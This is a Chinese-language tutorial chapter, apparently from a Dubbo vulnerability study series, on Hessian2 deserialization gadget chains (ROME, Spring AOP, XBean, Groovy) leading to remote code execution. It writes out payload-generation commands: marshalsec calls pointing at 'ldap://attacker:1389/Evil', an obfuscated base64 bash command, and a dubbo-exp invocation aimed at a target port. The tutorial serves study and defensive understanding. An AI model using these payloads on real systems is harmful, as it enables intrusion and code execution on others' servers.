Dubbo漏洞 - 03 Hessian2-Gadget-Chain

Hessian2 Gadget Chain — Dubbo 默认序列化的利用链

为什么单独分析 Hessian2?

Hessian2 是 Dubbo 的默认序列化方式

绝大多数 Dubbo 漏洞的利用都需要构造 Hessian2 格式的 payload

Hessian2 的反序列化机制与 Java 原生完全不同,可用的 Gadget Chain 也不同

不理解 Hessian2,就无法理解 Dubbo 漏洞

Hessian2 反序列化机制

与 Java 原生的核心区别

对比项 Java ObjectInputStream Hessian2
格式 Java 私有二进制格式 Hessian2 协议(跨语言)
magic aced 0005 无固定 magic
入口方法 readObject() 不调用 readObject()
对象重建 通过 readObject()/readResolve() 通过 MapDeserializer/JavaDeserializer
触发点 readObject() → 任意逻辑 HashMap.put()hashCode()/equals()
Gadget 入口 readObject hashCode / equals / compareTo / toString

Hessian2 如何反序列化对象

1
2
3
4
5
6
7
8
9
10
Hessian2Input.readObject()
→ 根据类型标记选择 Deserializer
→ MapDeserializer (HashMap/TreeMap 等)
→ 创建空 Map
→ 循环读取 key-value
→ map.put(key, value) ← 触发 key.hashCode()!
→ JavaDeserializer (普通 Java 对象)
→ 创建空对象(不走构造函数)
→ 逐个设置字段值(反射设置)
→ **不调用 readObject()**

四个危险触发点

1. hashCode() — HashMap 反序列化时

1
2
3
4
5
6
7
// Hessian2 的 MapDeserializer
HashMap map = new HashMap();
while (hessianInput.hasMore()) {
Object key = hessianInput.readObject();
Object value = hessianInput.readObject();
map.put(key, value); // ← 调用 key.hashCode()
}

2. equals() — HashMap 键冲突时

当两个 key 的 hashCode 相同但不是同一对象时,调用 equals() 比较

3. compareTo() — TreeMap 反序列化时

1
2
// TreeMap.put() 内部:
int cmp = key.compareTo(existingKey); // 如果 key 实现了 Comparable

4. toString() — 异常处理时

当 Hessian2 反序列化过程中抛异常,日志记录可能调用对象的 toString()

CVE-2021-43297 就利用了这一点

Hessian2 可用的 Gadget Chain

1. ROME 链(最常用)

调用链

1
2
3
4
5
6
7
8
9
Hessian2Input.readObject()
→ MapDeserializer.readMap()
→ HashMap.put(key, value)
→ ObjectBean.hashCode() // key = ObjectBean
→ EqualsBean.beanHashCode()
→ ToStringBean.toString()
→ TemplatesImpl.getOutputProperties()
newTransformer()
→ 恶意字节码执行

关键点

HashMap.put() 调用 hashCode() — 这在 Hessian2 中也会发生

ROME 链的入口正好是 hashCode(),完美匹配

CVE-2020-1948 和 CVE-2020-11995 的主要利用链

marshalsec 生成

1
java -cp marshalsec.jar marshalsec.Hessian2 Rome "touch /tmp/pwned"

2. Spring AOP 链

SpringPartiallyComparableAdvisorHolder

1
2
3
4
5
6
HashMap.put()
→ HotSwappableTargetSource.hashCode()
→ XString.equals(PartiallyComparableAdvisorHolder)
→ PartiallyComparableAdvisorHolder.toString()
→ AspectJPointcutAdvisor → BeanFactory.getBean()
→ JNDI lookup → RCE

触发路径:hashCode → equals → toString → JNDI

需要 spring-aop 在 classpath(Dubbo 项目基本都有)

SpringAbstractBeanFactoryPointcutAdvisor

1
2
3
4
5
HashMap.put()
→ AbstractPointcutAdvisor.hashCode()
→ AbstractBeanFactoryPointcutAdvisor.getAdvice()
→ BeanFactory.getBean(adviceBeanName)
→ JNDI lookup → RCE

marshalsec 生成

1
2
3
4
java -cp marshalsec.jar marshalsec.Hessian2 SpringPartiallyComparableAdvisorHolder \
"ldap://attacker:1389/Evil"
java -cp marshalsec.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor \
"ldap://attacker:1389/Evil"

3. Resin/Quercus 链

前置条件

依赖:com.caucho:quercus(Caucho 的 PHP-on-Java 实现)

实际场景中较少见

调用链

1
2
3
4
HashMap.put()
→ QName.hashCode()
→ ... → ClassLoader 操作
→ 远程类加载 → RCE

4. XBean 链

前置条件

依赖:org.apache.xbean:xbean-naming

调用链

1
2
3
4
5
Hessian2 JavaDeserializer
→ 反射设置字段
→ JndiConverter.setAsText("ldap://attacker/Evil")
→ new InitialContext().lookup("ldap://attacker/Evil")
→ 远程加载恶意类 → RCE

特殊性

不通过 hashCode,而是通过 setter 方法调用

Hessian2 的 JavaDeserializer 在设置字段时会调用 setter

CVE-2021-32824(Telnet PojoUtils)利用了 XBean 链

5. Groovy 链

前置条件

依赖:groovy

调用链

1
2
3
4
HashMap.put()
→ MethodClosure.hashCode()
→ Closure.call()
→ Runtime.exec() → RCE

Hessian2 Gadget Chain 总览

链名 入口 中间跳板 Sink 依赖 实际可用性
ROME hashCode toString → getter TemplatesImpl rome 高(常见依赖)
Spring AOP(1) hashCode→equals toString → getBean JNDI spring-aop 极高(几乎必有)
Spring AOP(2) hashCode getAdvice → getBean JNDI spring-aop 极高
Resin hashCode QName ClassLoader quercus
XBean setter setAsText JNDI xbean-naming
Groovy hashCode Closure.call Runtime.exec groovy

如何判断目标可用哪条链?

信息收集思路

  1. 探测目标 classpath 中有哪些 jar 包

如果能获取到 POM 文件或 lib 目录 → 直接看

通过报错信息推测

  1. 常见场景

只有 Spring → Spring AOP 链

有 rome → ROME 链(优先,不需要 JNDI 出网)

有 xbean-naming → XBean 链

纯 Dubbo 无其他依赖 → 较难利用

JNDI vs TemplatesImpl

方式 优点 缺点
TemplatesImpl 不需要出网 需要 ROME/CB 链
JNDI 依赖更常见(Spring) 需要目标能访问攻击者的 LDAP 服务

高版本 JDK(8u191+)限制了 JNDI 远程类加载,需要配合 bypass 技术

实战:构造 Hessian2 ROME Payload

方法一:使用 marshalsec

1
2
3
4
# 生成 ROME 链的 Hessian2 payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.Hessian2 Rome \
"bash -c {echo,dG91Y2ggL3RtcC9wd25lZA==}|{base64,-d}|{bash,-i}"

方法二:使用 dubbo-exp

1
2
3
4
5
6
7
8
# 直接发送 Hessian2 payload 到 Dubbo 端口
java -jar dubbo-exp.jar \
--gadget Rome \
--command "touch /tmp/pwned" \
--host target \
--port 20880 \
--protocol dubbo \
--serialization hessian

方法三:Python 手工构造(后续 PoC 中使用)

需要理解 Hessian2 的二进制格式

在 exploits/utils/hessian2_payload.py 中封装

Hessian2 安全防护

Dubbo 的黑白名单机制

Dubbo 2.7.8+ 引入了 Hessian2 类型过滤

三种模式:

STRICT(严格模式,Dubbo 3.2+ 默认)— 只允许白名单中的类

WARN(警告模式,Dubbo 3.1 默认)— 拦截黑名单,记录日志

DISABLE(禁用)— 不检查,危险配置

绕过黑白名单的思路

CVE-2021-25641:篡改序列化 ID,绕过 Hessian2 的检查

CVE-2023-23638:通过泛化调用绕过检查逻辑

CVE-2023-46279:直接绕过黑名单匹配

这就是为什么 Dubbo 漏洞层出不穷 — 每次修补都可能被新方法绕过

动手练习

搭建一个 Dubbo 2.7.3 环境,分别测试 ROME 和 Spring AOP 链

对比 Java 原生反序列化和 Hessian2 反序列化的 payload 区别

用 ysoserial 生成的是 Java 原生格式

用 marshalsec 生成的是 Hessian2 格式

两者的二进制结构完全不同

思考:为什么 CC 链不能用于 Hessian2?因为 CC 链的入口是 readObject(),而 Hessian2 不调用 readObject()


上一章 目录 下一章
02-经典Gadget-Chain详解 Dubbo漏洞 04-Dubbo架构与协议分析